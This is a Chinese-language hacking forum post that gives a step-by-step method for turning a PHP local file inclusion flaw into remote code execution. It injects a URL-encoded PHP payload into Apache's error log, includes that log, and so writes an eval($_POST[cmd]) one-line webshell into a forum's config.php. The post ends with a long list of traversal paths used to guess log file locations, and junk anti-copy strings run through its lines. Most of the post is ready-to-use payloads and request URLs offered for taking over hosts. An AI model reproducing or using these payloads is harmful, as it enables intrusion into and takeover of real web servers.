php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。
' \% P" |/ b7 I2 P+ g: H
比如还是这句一句话木马
1 `% D7 H; Q8 _) E<?eval($_POST[cmd]);?>   
+ J4 d% `4 a/ K1 v9 c+ C4 J$ k9 a
到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是

<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
fclose($fp);?>   //在config.php里写入一句木马语句

* Y3 l! X6 z* X2 X我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
1 Q- r4 ?6 I5 d& {2 X" ?2 S" d转换为
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
$ O% [8 K3 B1 o" dconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
# F  _2 N2 d  q- @0 Y) ^%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
fclose%28%24fp%29%3B%3F%3E
! w( R: T& [4 C4 F我们提交
; m2 a, N5 Z8 t4 W# ~" k) Lhttp://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
& G8 w2 l% W) j+ _' ?* x( _%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
' `& S& T1 E* {2 [' y' W! ]%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
0 M" I5 G" C! {- jcmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E

这样就错误日志里就记录下了这行写入webshell的代码。
4 ~+ N5 x- {9 b& c5 d: I我们再来包含日志，提交
8 ]( x  X* J$ _, g6 nhttp://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
+ ^) f" w$ }5 \
% [0 w: X( e: y这样webshell就写入成功了，config.php里就写入一句木马语句
OK.
8 a7 `9 N2 T3 Q  |  Zhttp://www.xxx.com/forum/config.php这个就成了我们的webshell
直接用lanker的客户端一连，主机就是你的了。

PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
$ q  l- S. I. a- g: }
其他的日志路径，你可以去猜，也可以参照这里。
7 q3 l0 W. |% b3 m8 L4 J7 l../../../../../../../../../../var/log/httpd/access_log
1 o5 p- N1 p+ Q4 B5 e, S../../../../../../../../../../var/log/httpd/error_log
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
6 D: B. a4 x. L/ d" @+ o8 l. d  ]../../apache/logs/access.log
../../../apache/logs/error.log
. c7 Z6 O3 O( ^& S& `../../../apache/logs/access.log
../../../../../../../../../../etc/httpd/logs/acces_log
9 U# n- S2 d) ~4 F4 I) x$ r../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../etc/httpd/logs/error_log
4 A; w- R, F6 R0 g+ ]../../../../../../../../../../etc/httpd/logs/error.log
4 j6 b: @4 c2 _' y% C* F../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../usr/local/apache/logs/access_log
/ b3 S+ m. k2 t! `8 I; S, {../../../../../../../../../../usr/local/apache/logs/access.log
../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../var/log/apache/access.log
: Z3 ]) h0 E& H  b( E1 m2 O% P../../../../../../../../../../var/log/access_log
! m4 F1 [) o0 ?" M& N7 s! z../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
6 b1 N7 r3 y' l6 e, x3 j* l, h../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../usr/local/apache/logs/error.log
% G4 m4 l) R8 f' [../../../../../../../../../../var/log/apache/error_log
../../../../../../../../../../var/log/apache/error.log
../../../../../../../../../../var/log/access_log
7 y& O# {; A3 p8 d8 z7 t3 C, H3 {../../../../../../../../../../var/log/error_log
/var/log/httpd/access_log      
/var/log/httpd/error_log     
: j8 k3 Z/ V  Y2 j& F$ }1 s) `../apache/logs/error.log     
, o# e6 y- h; Q$ ~8 d../apache/logs/access.log
../../apache/logs/error.log
- ?2 D! a+ [+ w  s5 h# T* ?../../apache/logs/access.log
) o( |& h" |* {- Q' k/ d8 l; g../../../apache/logs/error.log
; g, M' S7 {1 D2 j/ {5 `9 h../../../apache/logs/access.log
7 }7 Q) R0 M2 k( h3 N/etc/httpd/logs/acces_log
2 P% H" L. _( s/ e  h% A7 F/etc/httpd/logs/acces.log
' U2 ?$ l: I& O" \/etc/httpd/logs/error_log
. n( z$ o4 c3 d" C: w& i5 L/etc/httpd/logs/error.log
/var/www/logs/access_log
; ?; n6 Z) h9 q" J1 n& B/var/www/logs/access.log
/usr/local/apache/logs/access_log
9 _8 ]$ X: G4 q1 @/usr/local/apache/logs/access.log
/var/log/apache/access_log
* P6 n: j5 l  g+ g) y, z/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
; j2 t( G+ d9 a1 U0 w& b1 x/var/log/apache/error_log
/var/log/apache/error.log
& N: e7 O2 U& e1 O% N  c; }9 Y( o/var/log/access_log
; [# w! L. i+ _; E% x4 I/var/log/error_log